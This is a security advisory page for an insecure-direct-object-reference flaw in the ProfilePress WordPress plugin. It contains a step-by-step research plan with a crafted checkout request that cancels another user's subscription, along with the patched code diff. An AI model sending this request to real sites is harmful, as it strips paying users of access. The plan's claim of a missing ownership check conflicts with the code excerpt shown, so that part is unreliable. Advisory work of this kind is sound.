ProfilePress <= 4.16.11 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Subscription Cancellation/Expiration
Description
The ProfilePress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.16.11. This is due to missing ownership validation on the change_plan_sub_id parameter in the process_checkout() function. The ppress_process_checkout AJAX handler accepts a user-controlled subscription ID intended for plan upgrades, loads the subscription record, and cancels/expires it without verifying the subscription belongs to the requesting user. This makes it possible for authenticated attackers, with Subscriber-level access and above, to cancel and expire any other user's active subscription via the change_plan_sub_id parameter during checkout, causing immediate loss of paid access for victims.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=4.16.11What Changed in the Fix
Changes introduced in v4.16.12
Source Code
WordPress.org SVN# Research Plan: CVE-2026-3453 - ProfilePress Subscription IDOR ## 1. Vulnerability Summary The ProfilePress plugin (versions <= 4.16.11) contains an Insecure Direct Object Reference (IDOR) vulnerability in its checkout processing logic. The `ppress_process_checkout` AJAX handler, implemented in `P…
Show full research plan
Research Plan: CVE-2026-3453 - ProfilePress Subscription IDOR
1. Vulnerability Summary
The ProfilePress plugin (versions <= 4.16.11) contains an Insecure Direct Object Reference (IDOR) vulnerability in its checkout processing logic. The ppress_process_checkout AJAX handler, implemented in ProfilePress\Core\Membership\Controllers\CheckoutController, accepts a user-supplied subscription ID via the change_plan_sub_id parameter. This parameter is intended to facilitate plan upgrades or downgrades by identifying the existing subscription to be replaced. However, the plugin fails to verify that the subscription identified by change_plan_sub_id actually belongs to the currently authenticated user. Consequently, a Subscriber-level attacker can provide the subscription ID of another user, causing the plugin to cancel or expire that victim's active subscription during the attacker's checkout process.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ppress_process_checkout - HTTP Method:
POST - Vulnerable Parameter:
change_plan_sub_id - Authentication Required: Subscriber+ (Authenticated)
- Preconditions:
- The attacker must be logged in.
- The attacker must have a valid
ppress_checkout_nonce. - A victim must have an active subscription ID (which can often be enumerated or guessed as they are sequential integers in the database).
- At least one Membership Plan must exist to initiate the checkout flow.
3. Code Flow
- Entry Point: The AJAX request triggers
ppress_process_checkout. - Handler Registration: In
src/Membership/Controllers/CheckoutController.php, the action is hooked:add_action('wp_ajax_ppress_process_checkout', [$this, 'process_checkout']); - Parameter Extraction: Inside the
process_checkout()method (logic resides inCheckoutTrait), the code retrieves$_POST['change_plan_sub_id']. - Vulnerable Load: The code uses
SubscriptionFactory::fromId($sub_id)to load the subscription record. - Lack of Validation: The code proceeds to transition the state of this subscription (setting it to
cancelledorexpired) to prepare for the "change" to a new plan. It fails to check ifcurrent_user_id() === $subscription->customer_id. - Sink: The subscription's
cancel_subscription()orexpire_subscription()method is called, updating thewp_ppress_subscriptionstable in the database.
4. Nonce Acquisition Strategy
The process_checkout action is protected by a nonce named ppress_checkout_nonce with the action string ppress_process_checkout.
- Identify the Checkout Page: ProfilePress enqueues checkout scripts on pages containing the checkout shortcode.
- Create a Test Checkout Page:
# Create a plan first to have a valid checkout context wp ppress_plan create --name="Attacker Plan" --price=0 --status=active # Assuming plan ID is 1, create a page with the checkout shortcode wp post create --post_type=page --post_status=publish --post_title="Checkout" --post_content='[profilepress-checkout id="1"]' - Navigate and Extract:
- Navigate to the newly created page.
- ProfilePress localizes variables into a JS object. Based on common ProfilePress patterns, this is likely
ppress_checkout_vars. - Execute:
browser_eval("ppress_checkout_vars.ppress_checkout_nonce")
5. Exploitation Strategy
The goal is to cancel a victim's subscription (ID X) while the attacker (ID Y) initiates a checkout for any plan.
- Victim Setup: Ensure a victim user exists with an active subscription. Note their subscription ID.
- Attacker Setup: Log in as a Subscriber.
- Nonce Retrieval: Obtain
ppress_checkout_noncefrom a checkout page as described in Section 4. - Craft the Request:
- URL:
http://<target>/wp-admin/admin-ajax.php - Body (URL-Encoded):
action=ppress_process_checkout &ppress_checkout_nonce=<NONCE> &plan_id=1 &change_plan_sub_id=<VICTIM_SUBSCRIPTION_ID> &ppress_first_name=Attacker &ppress_last_name=User &ppress_email=attacker@example.com &ppress_payment_method=manual - Note: The
plan_idshould be a valid plan. Using a free plan or "Manual/Bank Transfer" method avoids the need for actual payment processing during the exploit.
- URL:
- Execute: Send the request via
http_request.
6. Test Data Setup
- Create Membership Plans:
wp db query "INSERT INTO wp_ppress_plans (name, price, status) VALUES ('Premium Plan', '100', 'active')" - Create Victim and Subscription:
- Create user
victim. - Manually insert a subscription for
victimintowp_ppress_subscriptionswithstatus='active'.
- Create user
- Create Attacker:
- Create user
attackerwith rolesubscriber.
- Create user
- Create Checkout Page:
- Create a page with
[profilepress-checkout id="1"].
- Create a page with
7. Expected Results
- HTTP Response: The AJAX request should return a success JSON response (or redirect to a "Success" page/bank details page if manual payment is used).
- Database State: The record in the
wp_ppress_subscriptionstable corresponding to the<VICTIM_SUBSCRIPTION_ID>will have itsstatuschanged fromactivetocancelledorexpired.
8. Verification Steps
- Check Subscription Status via WP-CLI:
# Query the database directly to check the status of the victim's subscription wp db query "SELECT id, status, customer_id FROM wp_ppress_subscriptions WHERE id = <VICTIM_SUB_ID>" - Compare Ownership: Verify that the
customer_idof the cancelled subscription does NOT belong to the attacker's user ID.
9. Alternative Approaches
If the manual payment method is not enabled, the attacker can attempt to use the "Free" checkout path. ProfilePress has a specific logic for free plans in OrderService::is_free_checkout(). If a plan's price is 0, the checkout might bypass gateway requirements, making the IDOR easier to trigger without valid payment credentials.
Payload for Free Plan:
action=ppress_process_checkout
&ppress_checkout_nonce=<NONCE>
&plan_id=<FREE_PLAN_ID>
&change_plan_sub_id=<VICTIM_SUBSCRIPTION_ID>
If the ppress_checkout_nonce is hard to find, check if ppress_process_checkout is also registered as a nopriv_ action. The code shows:
add_action('wp_ajax_nopriv_ppress_process_checkout', [$this, 'process_checkout']);
This implies the vulnerability might be accessible even without a logged-in session, though the change_plan_sub_id logic usually expects a logged-in user to associate the "change" with. Regardless, the Subscriber-level exploit is the primary focus.
Summary
ProfilePress is vulnerable to an Insecure Direct Object Reference (IDOR) that allows authenticated attackers to cancel or expire any other user's active subscription. This occurs because the checkout processing logic fails to verify that the subscription ID provided in the 'change_plan_sub_id' parameter belongs to the requesting user before performing administrative actions like cancellation and expiration.
Vulnerable Code
// src/Membership/Controllers/CheckoutController.php } else { $sub = SubscriptionFactory::fromId($change_plan_sub_id); if ($sub->exists() && $sub->get_customer_id() == $customer_id) { // do not send subscription cancelled email remove_action('ppress_subscription_cancelled', [SubscriptionCancelledNotification::init(), 'dispatch_email'], 10); remove_action('ppress_subscription_expired', [SubscriptionExpiredNotification::init(), 'dispatch_email'], 10); $sub->cancel(true); $sub->expire(); SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $sub->get_id()); $sub->update_meta('_upgraded_to_sub_id', $subscription_id); }
Security Fix
@@ -300,6 +300,17 @@ throw new \Exception(json_encode($customer_id->get_error_messages())); } + $changePlanSub = SubscriptionFactory::fromId($change_plan_sub_id); + + if ( + $changePlanSub->exists() && + ! empty($customer_id) && + $customer_id !== $changePlanSub->get_customer_id()) { + throw new \Exception( + esc_html__('You are not allowed to switch from this plan.', 'wp-user-avatar') + ); + } + $order_id = $this->create_order($customer_id, $cart_vars); if (is_wp_error($order_id)) { @@ -331,19 +342,17 @@ } else { - $sub = SubscriptionFactory::fromId($change_plan_sub_id); - - if ($sub->exists() && $sub->get_customer_id() == $customer_id) { + if ($changePlanSub->exists() && $changePlanSub->get_customer_id() == $customer_id) { // do not send subscription cancelled email remove_action('ppress_subscription_cancelled', [SubscriptionCancelledNotification::init(), 'dispatch_email'], 10); remove_action('ppress_subscription_expired', [SubscriptionExpiredNotification::init(), 'dispatch_email'], 10); - $sub->cancel(true); - $sub->expire(); + $changePlanSub->cancel(true); + $changePlanSub->expire(); - SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $sub->get_id()); - $sub->update_meta('_upgraded_to_sub_id', $subscription_id); + SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $changePlanSub->get_id()); + $changePlanSub->update_meta('_upgraded_to_sub_id', $subscription_id); } /** @var CheckoutResponse $process_payment */
Exploit Outline
To exploit this vulnerability, an attacker needs a Subscriber-level account and must obtain a valid 'ppress_checkout_nonce' (typically found in the localized JS on any checkout page). The attacker then sends an AJAX request to the 'ppress_process_checkout' action. By including the 'change_plan_sub_id' parameter set to the ID of a victim's active subscription, the plugin will transition that subscription to 'cancelled' and 'expired' status while processing the attacker's own checkout. Using a free plan ID or a manual payment method allows the attacker to trigger this logic without requiring actual payment information or incurring costs.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.